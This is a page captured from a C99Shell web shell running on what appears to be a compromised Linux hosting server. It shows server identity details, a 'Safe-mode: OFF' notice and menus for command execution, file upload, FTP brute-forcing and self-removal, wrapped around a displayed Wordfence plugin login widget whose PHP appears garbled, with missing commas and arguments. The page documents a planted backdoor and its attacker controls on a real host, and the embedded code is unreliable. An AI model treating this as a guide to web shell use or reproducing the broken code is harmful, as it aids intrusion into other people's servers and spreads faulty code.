!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/dashboard/   drwxr-xr-x
Free 179.26 GB of 490.84 GB (36.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     widget_logins.php (4.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php if (!defined('WORDFENCE_VERSION')) { exit; } ?>
<?php 
//$d is defined here as a wfDashboard instance ?>
<div class="wf-row">
    <div class="wf-col-xs-12">
        <div class="wf-dashboard-item active">
            <div class="wf-dashboard-item-inner">
                <div class="wf-dashboard-item-content">
                    <div class="wf-dashboard-item-title">
                        <strong>Login Attempts</strong>
                    </div>
                    <div class="wf-dashboard-item-action"><div class="wf-dashboard-item-action-disclosure"></div></div>
                </div>
            </div>
            <div class="wf-dashboard-item-extra">
                <ul class="wf-dashboard-item-list">
                    <li>
                        <div>
                            <div class="wf-dashboard-toggle-btns">
                                <ul class="wf-pagination wf-pagination-sm">
                                    <li class="wf-active"><a href="#" class="wf-dashboard-login-attempts" data-grouping="success">Successful</a></li>
                                    <li><a href="#" class="wf-dashboard-login-attempts" data-grouping="fail">Failed</a></li>
                                </ul>
                            </div>
                            <div class="wf-recent-logins wf-recent-logins-success">
                                <?php if (count($d->loginsSuccess) == 0): ?>
                                    <div class="wf-dashboard-item-list-text"><p><em>No successful logins have been recorded.</em></p></div>
                                <?php else: ?>
                                    <?php $data array_slice($d->loginsSuccess0min(10count($d->loginsSuccess)), true); include(dirname(__FILE__) . '/widget_content_logins.php'); ?>
                                    <?php if (count($d->loginsSuccess) > 10): ?>
                                        <div class="wf-dashboard-item-list-text"><div class="wf-dashboard-show-more" data-grouping="logins" data-period="success"><a href="#">Show more</a></div></div>
                                    <?php endif; ?>
                                <?php endif; ?>
                            </div>
                            <div class="wf-recent-logins wf-recent-logins-fail wf-hidden">
                                <?php if (count($d->loginsFail) == 0): ?>
                                    <div class="wf-dashboard-item-list-text"><p><em>No failed logins have been recorded.</em></p></div>
                                <?php else: ?>
                                    <?php $data array_slice($d->loginsFail0min(10count($d->loginsFail)), true); include(dirname(__FILE__) . '/widget_content_logins.php'); ?>
                                    <?php if (count($d->loginsFail) > 10): ?>
                                        <div class="wf-dashboard-item-list-text"><div class="wf-dashboard-show-more" data-grouping="logins" data-period="fail"><a href="#">Show more</a></div></div>
                                    <?php endif; ?>
                                <?php endif; ?>
                            </div>
                            <script type="application/javascript">
                                (function($) {
                                    $('.wf-dashboard-login-attempts').on('click', function(e) {
                                        e.preventDefault();
                                        e.stopPropagation();
                                        
                                        $(this).closest('ul').find('li').removeClass('wf-active');
                                        $(this).closest('li').addClass('wf-active'); 
                                        
                                        $('.wf-recent-logins').addClass('wf-hidden');
                                        $('.wf-recent-logins-' + $(this).data('grouping')).removeClass('wf-hidden');
                                    });

                                    $('.wf-recent-logins .wf-dashboard-show-more a').on('click', function(e) {
                                        e.preventDefault();
                                        e.stopPropagation();

                                        var grouping = $(this).parent().data('grouping');
                                        var period = $(this).parent().data('period');

                                        $(this).closest('.wf-dashboard-item-list-text').fadeOut();

                                        var self = this;
                                        WFAD.ajax('wordfence_dashboardShowMore', {
                                            grouping: grouping,
                                            period: period
                                        }, function(res) {
                                            if (res.ok) {
                                                var table = $('#logins-data-template').tmpl(res);
                                                $(self).closest('.wf-recent-logins').css('overflow-y', 'auto');
                                                $(self).closest('.wf-recent-logins').find('table').replaceWith(table);
                                            }
                                            else {
                                                WFAD.colorboxModal('300px', 'An error occurred', 'We encountered an error trying load more data.');
                                                $(this).closest('.wf-dashboard-item-list-text').fadeIn();
                                            }
                                        });
                                    });
                                })(jQuery);
                            </script>
                        </div>
                    </li>
                </ul>
            </div>
        </div>
    </div>
</div>
<script type="text/x-jquery-template" id="logins-data-template">
    <table class="wf-table wf-table-hover">
        <thead>
        <tr>
            <th>Username</th>
            <th>IP</th>
            <th>Date</th>
        </tr>
        </thead>
        <tbody>
        {{each(idx, d) data}}
        <tr>
            <td>${d.name}</td>
            <td>${d.ip}</td>
            <td>${d.t}</td>
        </tr>
        {{/each}}
        </tbody>
    </table>
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0077 ]--